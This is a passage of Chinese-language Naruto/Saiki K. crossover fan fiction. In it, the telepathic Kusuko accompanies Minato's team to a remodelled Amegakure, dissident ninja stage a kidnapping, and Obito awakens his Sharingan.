这时候,一个少女从她身后探出了头,“嘿,带土前辈,真丢人!” “红豆,你怎么也在这里?丢人什么啊!可恶!”带土握紧了拳头,可是看了看红豆那瘦小的身形,还是“哼”了一声,“我可不和你一般见识。” “看来你们早就认识了。”波风水门也走上前温和开口。 “确实认识呢,最近才成为中忍的废柴前辈嘛~”红豆笑嘻嘻道。 “切!”带土可不和小女孩斗嘴,只是他看了看楠子,又看了看红豆,骤然大惊失色。 “什么?这次的研究人员,就是你这个大小姐?” “我才不是大小姐!” 红豆不满地叫道,一脚就踩在带土脚背上。 带土疼得龇牙咧嘴,痛呼出声。红豆却冲着他做了个鬼脸,迅速站到了波风水门身前,端正姿态,恭敬行礼。 “水门大人您好,我是御手洗红豆。此次是大蛇丸大人派我和学姐一同前往雨隐村调研。” “学姐?”带土有些惊讶,转头看向了楠子。 【红豆……成为大蛇丸大人的弟子了?可是楠子当初,不是经历了很多考验吗?】 心里满是疑问,可不知为何,他沉默了,像是已经自己想出了答案。 【果然,要么有天赋,要么有家世,否则根本没法得到传承吧?像我这样的忍者,连师父授予的忍术都无法学会……】 楠子的目光瞥了过去。 ‘居然因为水门大人教导卡卡西比较多,就失落吗?’ 身为带土的朋友,她也询问过泉奈写轮眼的事,对方的回答是“只有苦痛才能铸就强大的实力,现在的宇智波一族经历不足”。 因为水门班一直很顺利,没有遇到什么危险,所以带土一直没开眼。 ‘小傻瓜,你还不知道,这对于宇智波一族来说,根本就是幸运呢。’ 毕竟,谁想要品尝苦痛啊摔! 她齐木楠子可是已经把带土的苦痛“删除”了好几次了。 而相比心思莫测的大蛇丸,波风水门算得上是正直良善的忍者。 至少他不会像大蛇丸一样,整日刻意打趣、嘲弄弟子啊。 带土无法从他那里学到许多,也只是因为两者的战斗体系根本不适合而已。 忍界局势变动,雨隐村与木叶结盟,土之国与火之国达成交易,产生了一系列连锁反应。 无论是风之国,还是水之国都默契地逐渐减少挑衅。 没有哪个大国敢笃定,仅凭一己之力就能击溃木叶。 至于雷之国,自从第二次忍界大战那时起,就似乎还未缓过劲来。 他们也知道,如果和木叶的忍者在战场遭遇,那就只有不死不休,因为二代就是在与雷之国的战争中死去的。 忍界战争的烈度正在逐步降低。 安稳的局势让水门有了更多空闲时间,战功也随之减少。 但楠子清楚,以他的性格,定然不会在意这些虚名,反而会乐见于此才对。 楠子正暗自思索,一道隐晦的目光就如羽毛一般落在她的身上。 是旗木卡卡西,不用看,就知道他又在用那种大型犬一样的眼神看她了。 ‘果然。’楠子虚着眼望去,而后在卡卡西想要迎上来时,干脆地转开了脸。 【怎么?我又哪里惹到她了?】卡卡西僵在了原地。 楠子心底默默无语,‘刚才不还劝带土在任务中呢吗?’ 她转过身,问带土:“对了,怎么没有看见琳?” 波风水门眉眼柔和,轻声解释:“琳如今也成为纲手大人的弟子了。” 楠子早已知晓此事,却依旧装作一脸惊讶的模样,“是吗?那真是要恭喜她了。” “是啊是啊!”带土抱着手臂,一脸骄傲,“她成为中忍之后,一直格外努力。” “好了,别再显摆你的中忍背心了。”卡卡西皱眉打断。 “干嘛打断我?”带土面露不满。 楠子在心底默默吐槽:‘呀嘞呀嘞,当然是因为连红豆都在笑话你了啊。’ 她的目光与卡卡西一接,而后立马弹开,心中暗自思筹:‘希望这次的任务,一切顺利啊。’ ----------------- 五人小队集结完毕,一同踏上前往雨隐村的道路。 两个村落距离并不算远,两日之后,一行人抵达雨之国边境。 “这里这么潮湿啊,气象也太神奇了。” 红豆回头望向身后晴空万里的火之国,再看向雨之国边境黑压压的云层,不由得咋舌。 “到底是怎么回事?……算了,不想了。”她随意地撇了撇嘴。 楠子默默看在眼 里。 正是因为红豆遇事习惯性放弃思考,她才并不适合做研究工作。 组织里的研究人员,遇上难题,哪怕十天不换臭袜子,也非要钻研透彻。 她不清楚大蛇丸是否看清了红豆本性,如果看到了这一点,还想要收她为徒,那大蛇丸绝对是另有盘算才对。 总之,那个家伙不可能仅仅因为对方是自己战死战友的遗孤就收容红豆。 可她还只是个十岁的小女孩呢。 楠子从身后的大包里抽出雨衣,递给红豆,“穿好它,千万不要感冒。” “嗯?嗯。”红豆接了过来,就见只有她们两个人穿着雨衣,而水门前辈、带土和卡卡西也只是披着一件防雨的斗篷而已。 “这……”她有点迟疑。 “没关系,我们先照料好自己就行了。”楠子说着,已经将雨衣披好。 她要照顾红豆,自然不可能让红豆一个人特立独行,却没想到脖颈处传来一丝冰凉,身体不由自主地打了个激灵。 粉色的发丝被一只手顺到了一侧,她回头就对上了卡卡西那双黑色眼眸。 【……不由自主地就动了。呃……楠子不会生气了吧?】他心里想。 生气倒是不至于,可卡卡西啊…… ‘你怎么会一点心声都没有,就触碰少女的头发呢?这都够得上性骚扰了啊。’ 偷笑的带土、惊讶的红豆和欣慰的水门,如果不是能绷住自己的神情,现在她可要尴尬至死了啊! 她的眉头跳了跳,干脆地无视了卡卡西欲要道歉的神情,将雨衣的帽子往头上一带,平静道:“那么,出发吧。” 一路上,一行人静默无声,只有荡然在天地间的雨滴,不断敲击出连绵不断的音符。 当然,在楠子脑中就完全不是那样了。 她心里正吐槽呢,带土那个八卦男也就罢了,怎么连水门这看起来端方异常的年长忍者,也那么喜欢看后辈的桃色新闻呢? 这又不是什么GAL游戏,只要想要,就能得到女朋友。 倒是红豆令她欣慰,只是如果她脑海里想得不是“一边是琳前辈,一边是楠子学姐,我到底要帮谁呢?真是难办啊?”之类的事就更好了。 踏入雨之国境内,不过一个日夜,他们就到了雨隐村附近。 耳边忽然传来模糊的打斗声。 “停下。”波风水门神色严肃,向着那个方向张望,“不用隐蔽,我们过去。楠子,你护着红豆在后面。” “明白。”四人齐齐颔首应声,压低身形,快速踩过水面,落在前方低矮的山坡上。 坡下是一片凹陷的泥淖地带,雨水聚集,形成一片浅湖。 几名黑衣忍者立于如暗色大理石一般的水面,手持苦无相互缠斗。 其中被压制殴打的,是一个年纪和红豆相仿的少年。 而出手压制少年的人,正是长门。 众人面露讶异,一时间安静伫立,默默观望,等待着那边几人发现。 果不其然,长门抬眼朝着山坡瞥来,看清来人,他的身形骤然一顿。 水门金色的发丝格外惹眼,可雨衣帽檐下,那一抹的粉色头发和面无表情的脸更是醒目。 ‘是……楠子大人吗?怎么偏偏在这个时候?’ 想到目前的状况,他忽而紧张,连步伐都有些错乱了。 46.感慨 有破绽! “嗖”地一声,和他缠斗的少年抓住空隙,抬手甩出苦无,险些命中走神的长门。 那少年只是想吓退对方,却没想到长门身体本能做出反应,一瞬抬手冲拳,直接命中少年的肚腹,震得他干呕不止。 长门无视痛苦弯腰的少年,单手像提拎小狗一样将他抓起,甩给了一边的同伴。 几下纵跃,径直落在五人面前。 “水门大人,好久不见。楠子,你怎么来了?”长门的目光,自始至终只礼貌地向着水门示意了一下,紧接着就落在齐木楠子一人身上。 那目光里有着忐忑、尴尬和不自觉的瑟缩,连初次见到长门的红豆都发现了异样,一双小鹿似的眼睛不住地在楠子和长门之间打量。 【学姐,不会有外村的男友吧?那么,琳前辈、带土前辈、卡卡西前辈……呜哇!这可太混乱了吧!我喜欢~】 她顿时扯开了嘴角,笑了起来。 在长门的身后,他的同伴也踏步而来,手中的少年还在努力挣扎:“放开我,混蛋!我要战斗,我不要学习文化课!我不要进厂打工!” 少年嘶吼不停,长门的脸色愈发泛红。 【虽然是个帅哥,但是对着只有十三岁的楠子学姐在脸红些什么啊?】红豆在心底吐槽,可嘴角看笑话的笑意是怎么都遮掩不住。 楠子有些无奈,她明白长门向来不愿让她看见雨隐混乱不堪、充满缺陷的一面,何况面前这少年,恐怕就是她的反对者呢? 是的,不能好好学习忍术,就给她去打工,这正是她定下来的政策。 谁让相比雨隐村的任务数量,村内的忍者过多,而参与劳动的人力资源又不足呢? 不再供养无法成为出色忍者的人,而是为他们另谋生路,在楠子看来无比正常,可是对于这些忍者来说,几乎可以算得上是侮辱了。 正因为如此,雨隐村现在内部也有些纷争。 正当木叶的几人想说话时,长门已经抬手,一掌打晕那个少年。 他在众人,包括他队友讶异的眼神中,抬手捋顺被雨水打湿的发丝,脸上露出和方才重拳出击时,截然不同的温和笑容。 “你们是来做调研考察的吧?没想到会是……你过来。我来带路,走吧。” “喂!长门大哥,你可完全把我们无视了啊!”带土虚着眼,不满地嘟囔。 长门这才后知后觉看向水门一行人,略带歉意,“抱歉,水门大人,请随我往这边走。” 他嘴上致歉,脚步却下意识放缓,走到了楠子身侧,低垂下头,“眼镜没关系吗?雨之国的天气还是这样不好,如果知道……你要来,我就去边境接你了。” “只是普通任务而已。”楠子淡淡回应,长门这才一怔,答应一声后,虽然沉默,脚步却不紧不慢地跟在了楠子身边。 楠子则垂眸看着前方因忍者行动而溅起的水花,心底暗自叹气。 ‘糟糕啊,卡卡西的不满情绪,好像开始积攒了。’ ----------------- “哇,这就是雨隐村吗?” 御手洗红豆面露惊喜。 眼前的雨隐村,确实令人震撼。 周围一圈灰色的建筑之中,一层透明的结界薄膜,如同透亮的玻璃罩,稳稳笼罩在雨隐村上空,将外界浓稠阴沉的黑云隔绝出一个圆形的环,露出澄澈明媚的天空。 温暖的阳光遍洒村落,整座村子看上去,宛如一枚放大无数倍的精致摆件。 丰沛的水系穿过结界,将村落中的楼宇分割成各个板块,又有高低错落的桥梁相连接。 村内原本灰暗老旧的墙壁,早已被重新粉刷上干净的白色墙灰。 更得益于当地充沛的水汽,藤蔓植物顺着墙面肆意攀爬蔓延,如同少女裙边的装饰。 家家户户的屋顶,都被改造成小巧的空中花园,各色鲜花肆意盛放,五彩斑斓。 这里美若仙境,除了在造景边缘那过于奇异的巨大人形雕塑以外,再也看不出一年前灰暗阴沉的模样。 “这都是栗子大人的功绩。”长门语气带着由衷的自豪和夸耀,“栗子大人说,环境能够影响人的心境,所以我们专程聘请知名设计师规划布局。最后由栗子大人亲自敲定改造方案。至于这层结界,则是泉奈大人带队研发。” 长门说着,目光从红豆身上移开,落在齐木楠子的脸上,就弯起眉眼。 楠子当然知道他是在做什么,就是想要表达他的感激之情呗。 她当初也是因为雨隐村在她看来确实太破太旧,又显得压抑阴沉,所以才想着改造的。 至于弄成原本的赛博朋克风倒是也很潮,但是她不喜欢,也就作罢了。 只是其他人恐怕就不这样想了。 她虚下眼来,已经感觉到身后不远处的带土挤到旗木卡卡西的身侧,用胳膊肘看似隐蔽地捅了捅对方。 “喂,卡卡西。”他努嘴朝向长门的方向,“你不做点什么吗?” ‘到底要做什么呀?他又能做什么呀?’楠子干脆转过了头,看向了带土,“带土,快点。” “嗯?哦哦,好的好的!”带土跟了上来,她的目光移到了卡卡西的脸上。 他正蹙眉望着她。 ‘别这样望着我啊。’楠子想,‘这次,可是正经的木叶出使任务呢。’ 她干脆转回了头,不再言语。 身后,卡卡西跟上了,只是那心音还在碎碎念叨着些什么。 ‘麻烦,青春期的少年真的好麻烦啊。’她想着,再次迈动脚步。 没等卡卡西继续胡思乱想,一行人已然踏入雨隐村腹地。 出面接待众人的,依旧是驻守议事厅的雨隐高层泉奈。 “你们的来意,我已然清楚。”似乎又长高了些的泉奈话语微顿,转头看向身旁的长门。 “后续便由长门,全程接待你们。” 【又是他。】卡卡西心底无奈叹气,却无可奈何。 他没法像带土一样冲动直白地抗拒,那样的举动太过幼稚。 就这样,在波风水门的安排下,一行人暂时住进了雨隐村的招待所。 ----------------- 月上中天,夜色静谧。 齐木楠子缓缓睁开眼眸,身边另一张床上的御手洗红豆已然沉沉睡去。 她随手顺了顺发丝,也并未披什么罩袍,嘴角轻念“瞬移”,转瞬便出现在寂静的议事厅中。 窗边伫立着一道沉稳的身影,比她略高一些,身披一袭黑色的衣袍,兜帽遮住了发丝,简直像是某种鬼魂。 当然,他也真的就是鬼。 她看了半晌,见对方只顾着耍帅,只好开口:“泉奈大叔,这么晚还没有休息吗?” 泉奈闻声缓缓回头,面具下的目光似乎落在楠子身上,“我没想到,木叶会派你过来。” ‘还在装呢?你恐怕巴不得木叶把我派到这里来呢!’楠子心中无语。 她知道,泉奈一开始只将她看做一个拥有强大力量的“神之子”,可见到她居然能脚踏实地搞发明创造之后,就越发想把她拉过来拴住当牛马。 可他偏偏知道自己实力强大,不敢擅动,就总在背后搞一些不聪明的小动作。 不是说泉奈大叔不够聪慧,只是他自己都说服不了自己使用阴谋诡计,自然总是会显得蹩脚。 楠子跳过了这个话题,“我来的时候,见到了雨山。” 泉奈沉默了几秒,似乎才想起来那个少年是谁。 “是雨隐村原本的忍者吧。”他语气淡然,“不过是沉溺忍者幻想罢了。” 雨山就是白天时,被长门制服的那个少年。 这一年来,雨隐村一直在摸索合适的发展道路。 为了让本国平民安稳谋生, 楠子借助大蛇丸的实验室偷偷搞发明创造。 这并不是难事,毕竟她原本所处的时代,科技水平远超这个世界几十年。 洗衣机又是她妈妈常用的电器,她控制不了透视能力的时候,可是将家里机器的结构都牢牢记住了呢。 改造生产线倒是难事,只是她也拥有另外一种论外的力量,那就是“俺寻思”之力。 只要她想,世界的规则都可以为她让路。 只是她不愿意那样做而已。 雨之国仅有雨隐村拥有改变气象的结界,民众大多聚集在周边。 因为平民实在太多了,所以也打破了她原本让雨隐村忍者包围平民的安排。在周边建起一栋栋房屋,再外层的一圈地方,则是平民们工作的工厂。 于是,这里的平民就过上了白日打工、傍晚在雨隐村游荡、晚上回住处休息的生活。 雨隐村再通过商道,将布料、洗衣机、机械玩具等东西销往各国。 至于为什么先搞洗衣机……那是因为她实在是不想再花费时间手洗衣服了! 除此之外,她还让泉奈招募别国不受重视的人才,鼓励研发创新。 可是雨之国实在没什么名气,气候又恶劣,大多数人都不想过来。 在这样和平的日子里,仍有一部分人,贪恋鲜血与战争。 不,或许不是喜爱战争,只是觉得无用武之处而已。 雨山这样的少年,便是其中之一。 斑和山椒鱼半藏还不一定,但是楠子可明白,现在的泉奈不喜欢战争。 果不其然,泉奈轻声开口:“这不过是一场小小的考验。” “考验?”楠子虚着眼望向了他,“你把我也当成了你的诱饵吗?” 别看她这样,她心中其实没有恼怒,反而觉得轻松有趣。 泉奈敢这般利用她,是清楚她实力强悍、毫无破绽。 最坏的结果,不过是暴露她“栗子”的身份,让她被迫留在雨隐村。 这般直白的阳谋,她可不会介意,泉奈可是仅有的那几个知道她身份的人之一。 这样的世界,这样的人,总比之前每个被她抹去的时间线好得多……吧? 她放大了心灵感应,听取着每一个人的声音和梦境。 温暖的,和煦的,柔美的…… 有的人在想明日的早餐,有的人在思考需要提升的课业,最痛苦的一个也不过是认为自己的实力有所不足…… 她这样听着,脑海中也因那人声交织的希望之声闪过一系列人影。 废柴的父亲,乐观的母亲,和自己那天才的兄长…… 他们也在担忧自己吧?自己真该在那个时候删除他们的记忆的。 “……放心吧,我现在过得很好。”她不由得喃喃出声,可之后才注意到泉奈的心音。 【就这样……想要留在木叶吗?】他以为自己心中的家是木叶。 ‘呵,我想留在木叶可不是因为这个原因啊。’不小心泄露了心思的楠子嘴角勾了勾。 她只是知道自己真的无知而已。 无知又拥有强大的力量,那简直就像是在原本的世界随意发射原子弹一样。 她已经在那里毁了许多东西,虽然都勉勉强强拼凑回去了,但是总和原本的不一样。 忍界也是如此,她又不是没经历过站立在所有人对立面的失败。 所以,她绝不愿意在学识未圆满之前,就来到雨隐村,接手这里的一切。 深呼吸一口那潮湿中带着芬芳的气息,确认村内没有异常变动,只有泉奈的“圈套”在蠢蠢欲动之后,楠子和泉奈告别,径直返回了自己房间的浴室。 只是才准备上床,她的脚步就是一顿,看了眼依旧沉睡的红豆,她转过身,向着外间走去。 转过几个转角,她在一处平台前停下了脚步。 “带土,你在这里做什么?” 47.绑票 “啊?楠子?你怎么也没睡?” ‘什么叫我怎么也没睡啊?我发现你们宇智波真的很爱耍帅。……不,应该是青春期的男忍者都爱耍帅才对。’ 看着对方从石质围栏跳下的模样,楠子有些无语。 如果不是听到对方吵闹的心声,和隐蔽处忍者的自我埋怨,她可是绝不会过来的。 这样想着,楠子上前一步,“我肚子饿,出来找点吃的。你饿不饿?” “嗯?饿!当然饿啦!”带土一把将楠子递上的红豆面包拿过,撕下了一半,胡乱塞在了嘴巴里。 “啊呜啊呜,藕(我)就硕(说)嘛,藕(我)就是太饿了而已!” ‘骗人的吧,你根本就是在因为实力的问题怨天尤人而已啊。’楠子看了看自己手中的红豆面包,那可是一点儿食欲都没有。 转身靠在围栏边,她静静眺望夜色下的村落。 夜色为建筑披上了深色的外衣,楼顶郁郁葱葱的植物此刻都像是建筑里的人一般,结束了白日间的兴奋,陷入了梦的国度。 微风吹拂,带来了外间带着潮意的凉气,打在脸上,让人的思绪也安静下来。 这是她今夜第二次端详雨隐村,心境却和方才截然不同。 所以说啊,青少年的烦恼和那些老大叔们可天差地别。 只是在这样的夜里,她反而更忧心自己身边这位的烦恼。 他的烦恼可不仅链接他一个人,反而还有那边的另外一个忍者呢。 楠子没有去看带土,轻声询问:“你在忧心什么?是因为琳吗?难道你觉得,她拜入纲手大人门下,你就配不上她了?” “才、才不是!”带土立刻低声反驳,语气急切。 楠子明白,带土真正忧心的,是迟迟无法开眼的写轮眼。 宇智波一族的战斗依赖写轮眼,可带土和她一样算是孤儿,父母早逝,唯有生病的奶奶与他相依为命。 他的天赋不算出众,没有了长辈指导,写轮眼方面的进益不大。 而波风水门虽然实力强大,实际上三人小队中,却只有卡卡西和他的战斗风格接近。 他还十分繁忙,听说最近玖辛奈还怀孕了。 卡卡西已经升为上忍,父亲旗木朔茂又是有名的忍者,野原琳则通过努力,成为了纲手弟子。 只有他还不上不下,心生焦虑,本就是人之常情。 即便如此,带土依旧是个善良的人啊。 就在这样寂静的夜里,只有虫鸣吱吱,半晌,身边的人才犹豫着再次出声。 “楠子,你会不会觉得不公平?”带土黑黝黝的眼睛瞥向了她,抿着唇,低声道:“你拼尽全力,才成为大蛇丸大人的弟子。可红豆,哈哈哈,你知道的吧?她可是个大小姐。” ‘笨蛋。’楠子心里想,‘什么拼尽全力,我其实什么都没有付出。’ 而无论是带土、卡卡西、琳,还是红豆,其实都付出了代价。 她很明白,因为只要她想,她几乎无所不知。 就像是她了解红豆在夜里怀抱父母遗像时的哭泣,带土在纱织奶奶病房外强自撑起的笑容,卡卡西面对美美子时,时不时出现的纠结和失落…… 楠子目光平静,语气淡然:“红豆,她付出了自己的父母。” 带土神色骤然一怔,有些狼狈地低下了头,“这、这……我不知道这件事。” “我一看就知道了,你以为我的……”楠子顿了一下,“你以为我的师父会那样好心?选择一个普通的小女孩?他一定是看她孤苦无依,所以才想着要做坏事。” ‘现在居然能将师父两字说出口了啊,大蛇丸对我确实还有些影响。’楠子分神想着。 看着面前兀自陷入纠结,乃至于已经考虑明天要向红豆道歉的带土,她的目光闪了闪,压低了声音道:“我的师父对我说过,写轮眼的开眼,往往需要承受极致的痛楚。” “痛楚?” 带土脑海中下意识浮现出和迈特凯一起穿着绿色紧身服锻炼的模样。 ‘哎呦,眼睛都要脏了。’楠子眼角微微眯起,解释道:“不是那种□□上的痛苦。是精神上的,比如,心爱之人的离世啊之类的。” 这可是失去心爱之人哦,你也不想琳出事吧? 楠子想着,弯了弯嘴角:“所以,不要刻意强求。” 带土那张带着婴儿肥的脸面色沉凝,可不久之后,原本紧绷的神情就慢慢柔和。 但是坏心情不会消失,只会转移,这下换能听到对方心声的楠子嘴角隐隐抽搐。 【楠子这样待我!卡卡西不会吃醋吧!但是、但是……啊啊啊!楠子,真是个好人!】 去他的好人卡。 楠子真的转身就想走,手就被一把拉住。 ‘啧,卡卡西还在那边呢!’她想要甩开,就见带土眼眶微微泛红,语气真诚。 “楠子,无论是奶奶的病情,还是你拜托孤儿院的孩子们去看望奶奶,还是……你帮我询问的事,我都会记在心底的!” ‘呀嘞呀嘞,你感动就感动,不要动手动脚啊!’ 楠子虚着眼,努力向外仰着身体,不是她怕卡卡西看到,而是卡卡西白天的时候心情就已经很差了,如果他一气之下,真的告白怎么办? “我没有特意询问。”她干巴巴道,“你知道宇智波镜吧?那是大蛇丸大人的前辈,他自己说的。” “哦哦!”带土拽着她的手,依旧感动,“你放心,我绝不会为了开眼去做傻事。其实……族里的人隐约提过……只是、只是……” ‘只是你也经历了卡卡西的重伤,却没有开眼啊……’那还是半年前的事情。 在一个“坏档”里,卡卡西死在了任务之中,带土开眼了。 只不过,那一次的世界线,被楠子“抹除”了。 ‘这样说来,我还欠你一次开眼的机会呢。’ 就在这时,楠子的身形骤然一顿。 她下意识抬眸,望向招待所内部方向。 一道漆黑的人影,飞快从暗处窜过,紧接着是另外一道。 “那是……卡卡西?” 带土低呼一声,下意识抬脚,却被楠子拽住。 “不对。” “什么?”带土有些着急,却见楠子快步向着红豆的房间跑去。 这下,他才突然心惊,红豆还一个人在房间呢! ----------------- “唔……楠子前辈?” 时间稍微往前,御手洗红豆揉了揉眼睛,看着旁边无人的床铺,几秒后才回过了神。 楠子,不在? “该不会是去约会去了吧?”她撇撇嘴。 虽然不是同一年级,但是旗木卡卡西可 是那几届的风云人物。 对方因为当时的吊车尾齐木楠子多次出手的事也人尽皆知,当然,带土喜欢琳前辈,而琳前辈似是对卡卡西前辈有好感的事,她也知道。 不然呢?木叶小学的精英一共才那么多人。 “嘿,真是乱七八糟。”红豆想着,摸了摸肚子,“去找点东西吃吧。” 她走出了门,才从自动售货机中买到了菠萝包,就听见旁边传来悉悉索索的声音,警惕跟上。 “里面没人。” “是吗?” ‘里面?是指我们的房间吗?’红豆仔细回想,这一层,应该就只住了他们一行人啊。 “真的要抓住齐木楠子吗?” “当然,你没听长门说吗?她是大蛇丸的弟子,要好好招待。” “那是因为他自己看上了那个小女孩吧?” “不管是不是,她和那个叫红豆的,都实力低下。那个叫旗木卡卡西的,可是上忍,那个叫带土的,姓宇智波。” “可恶!” ‘什么?!不行,得赶快告诉水门前辈。’红豆想要后撤,但是手一用力,菠萝包的包装袋却发出一声脆响,她心中一惊,已经被人扯住了领子,捂住了嘴。 身后的高大忍者将她扯得生疼,咧嘴笑道:“得来全不费功夫啊,是吧?瀚铁?” 窗口背光处,另一个瘦高黑影,默然无声。 ----------------- ‘怎么会提前发动?……唔?原来是这样吗?’ 楠子有些无语。 她是知道这些人要绑架她的,但是她根本无所谓嘛,陪人家做场戏也无妨。 可是现在她身边是带土,那边又是红豆,若是一个不小心,说不定真的会翻车。 ‘要么,还是先将带土弄晕。’楠子的目光瞟向了带土。 带土完全没察觉到不对劲,脚步迅捷,“楠子,你快去通知水门老师!” ‘笨蛋。’楠子在心里叹气。 那可是波风水门,这种时候他没有露面,要么是被人缠住,要么就是早就知情啊。 “你速度比较快,你去!”楠子说。 带土却说:“我的实力比你强,你……” 他瞳孔猛地一缩,月光下,前方突然出现几道寒光,他几乎反应不及,却感觉侧边传来一股力道。 原本可能伤到要害的暗器滑过小臂,带走了一片皮肉。 带土重重摔落在地面,几枚尖锐的暗器穿过他方才的位置,钻入土地。 “唔!”带土捂紧了手臂,感觉从伤口开始,知觉慢慢消失,乃至蔓延至全身。 “你怎么样?”方才将他推离的楠子半跪下来,看向他。 “有毒。”带土艰难道。 ‘这不是毒。’楠子在心里默默道,这是她特意施加的手段。 她不能在带土面前显露出超出人设的实力,所以带土能停在这里就再好不过。 她沉下声,“你待在这里别动,我去追。” “等等,楠子,我还可以……”带土不甘心地低吼,想要动作,却感觉肩头一重,他瘫倒在地。 “带土!不要勉强了。”楠子眉头微紧,直直看向了带土,半晌,眉头还是松了几许,“这是任务,带土,相信我吧,没有问题的。” 带土死死咬着牙,终究点头。 48.开眼 ‘终究还是伤到了他的心吧?’ 楠子默默在心里抱歉,甩脱了带土,她的精神扫描过整个雨隐村,脚步一顿。 ‘原来如此……’ 泉奈的谋划,水门的想法,长门的思绪…… 无数个思维如同拼图一般拼合出此时的真相,楠子的脚步未再迟疑,向着一个方向而去。 不过几息之后,稳稳落在了地面,或者说……包围圈中。 前方,高个子忍者瀚铁抱着红豆,这个十岁的下忍被绑住嘴巴,依旧挣扎个不停。 见到楠子到来,她突然安静,不安地眨动着眼睛。 【这是圈套!是圈套啊!】 ‘我知道啊。’看着红豆几乎要哭出来的眼睛,楠子想得完全是另外一回事,‘要么就激怒对方,而后趁机将红豆打晕吧?’ 她可没有本事用医疗忍者齐木楠子的身份,击败这许多忍者。 可只要没有目击者,她就没有做坏事,不是吗? 握紧了手中的苦无,楠子冷声问:“那边的忍者,你知道自己在做什么吗?” “我当然清楚。”名为瀚铁的忍者出声应答。 楠子歪过头,“那就是故意的喽?袭击木叶的忍者,你……就不怕破坏盟约吗?” “盟约不值一提!”身后有人厉声打断,“忍者的荣耀,本该由鲜血铸就,而不是进厂打工!” 楠子听得有些无语,她推行的政策里,可从来没有强迫忍者务工这一条,只是如果不打工,那就没钱而已啊。 再说鲜血啊、铸就荣耀啊……这些词汇可太过时了。 她木着脸道:“你们难不成是中二病吗?” 一说“中二病”,她身后的忍者立马急了,“什么?!你根本不懂忍者的荣耀!” 啊……她是明白的啊,曾经就有忍者满口念叨着荣耀啊,羁绊啊,一代托付的未来啊什么的冲向了她。 但是在看着身边的人几次死亡之后,楠子就再也不认可那些东西了,只剩下一个想法。 ‘那都是旧时代的残党,根本上就该扫进垃圾堆。’ 唯独这一点,她是认可大蛇丸的。 这群人根本没有长远思考,眼里只有自己的执念。 可当忍者有什么好的?现代社会才是最“夯”的好吗?! 借着说话的间隙,楠子找准时机准备突袭。 只要对方把红豆推出来,她就能顺势打晕红豆。 而后,这里就是她的主场了。 她正想着,准备出手,可心灵感应的能力却不会止歇,直接将一大串心音送入了她的脑海,她心底就是一惊。 ‘不好……’ 楠子猛地向前,面前的瀚铁已经一把将惊愕的红豆推倒在地。 他衣角飞旋如扇,后撤转身之时,手上套着的铁爪直直戳向了身后突进的忍者。 那个忍者用力已老,滞在空中,根本来不及闪避,只骤然睁大了眼睛。 眼前敌人的动作似是在他眼中放慢了数倍,可是身体机能就是跟不上反应的速度。 【可恶!】他咬紧了牙,只是下个瞬间懊悔更甚。 因为,原本应该在数米开外的粉发少女挡在了他的面前。 【楠子?!】 ‘额?写轮眼?’ 齐木楠子和宇智波带土几乎是同时在心里叫了一声“糟糕”。 ‘怎么办?怎么办?怎么办?’ 后背瞬间冒出了层层冷汗,齐木楠子心里慌作一团。 她能清晰感觉到,瀚铁的铁爪正抵在自己腰间,差点把她推了个趔趄。 但是啊,她本身拥有极强的肉身防御,普通忍具根本没法伤到她。 那么,自己该怎么解释毫发无伤的状况呢? 说自己天生钢筋铁骨,还是谎称被大蛇丸改造过身体? 这也太扯了吧摔?! 还有眼前的带土这是怎么回事? 那红色眼珠里正在震颤的小蝌蚪,难不成是写轮眼吗?! 就这样开眼了?因为我让你动弹不能又抛在原地就开眼了?! 那么某条时间线上卡卡西的死到底起了什么作用啊混账! 她的心像是热锅里的豆子,噼里啪啦响个不停。 但是有一件事可以确认。 她,齐木楠子,必须受伤,否则根本没法解释她这个只有下忍实力的人为什么会没事。 于是,思维入侵,幻象制造。 紧张之间,她直接拿了当初看到奈良鹿行受伤时的景象复制粘贴。 胸口逐渐渗出血液,而后红色的液体自嘴角滴落,她捂住了嘴,眼睛睁大像是不敢置信地看了看胸口,而后又缓缓闭合。 脚下一软,她想要摔倒在地,可是身后某个地方似乎也传来了类似“尖锐爆鸣”的心声,她动作一顿,带土已经抱住了她的肩膀。 他的膝盖重重磕在了地上,手却颤抖着托住了她的身体,垂落的发丝遮住了他此刻那一双红色眼瞳。 这个时候应该带着她躲开的,或者楠子也该提醒带土要这样做。 可是…… ‘糟糕!糟糕!糟糕!’ 不是说已经把卡卡西引走了吗?他怎么会出现在这里? 啊啊啊!她真的不应该犯懒,而是确确实实应该去找一个演技老师的! 楠子闭着眼,额角冷汗都要下来了。 卡卡西很生气! 一点寒芒被黑色的线条拉扯,在空气中划出亮蓝色的银线,瀚铁招架不及,连连后退。 ‘啧,生气……就生气吧。’ 楠子将头往内侧了侧,像是这样就能躲开卡卡西的怒火,只是这一侧之间,才注意到带土的眼睛。 他眼中如同蝌蚪一般的黑色的勾玉,似是在分裂,从一枚,到两枚,而后……是三枚。 ‘这是……进化了?怎么会?’楠子惊讶不已。 因为她也在早先的时间线,见过带土眼睛进化的模样,可那大多是两勾玉,怎么这次…… ‘哦,原来是祖先显灵啊。’ 楠子已经“听到”了泉奈由远及近的心声: 【真是太大意了,难不成没有好好学习体术吗?还有……居然才是三勾玉啊,现在的宇智波,果然不值得期待。】 ‘是啊是啊……我就是没有好好学习体术。还有啊,泉奈大叔,你要是见到止水,或者鼬,恐怕就不会这样说了。’ 波风水门、泉奈与长门一同现身,身后跟着十几名雨隐村的忍者。 金色的闪光划过,水门握住了卡卡西试图杀死瀚铁的手腕,皱眉道:“卡卡西,冷静。” 雨隐忍者迅速出动,当场控制住了这群作乱的叛忍。 见到这情况,泉奈开口依旧淡淡:“长门,把……齐木下忍送到医疗忍者那里去。” “……是。”长门缓步走上前,开口示意,“带土,把楠子交给我吧。” 带土迟迟没有回应,红发忍者微微蹙眉,想要强硬地从带土的手中接过楠子。 感觉到对方反抗的力道,他也不由得寒声道:“你难不成真的想让她在这里死去吗?” 这声音让周围人,包括已经呆愣在原地不再挣扎的红豆都是一震。

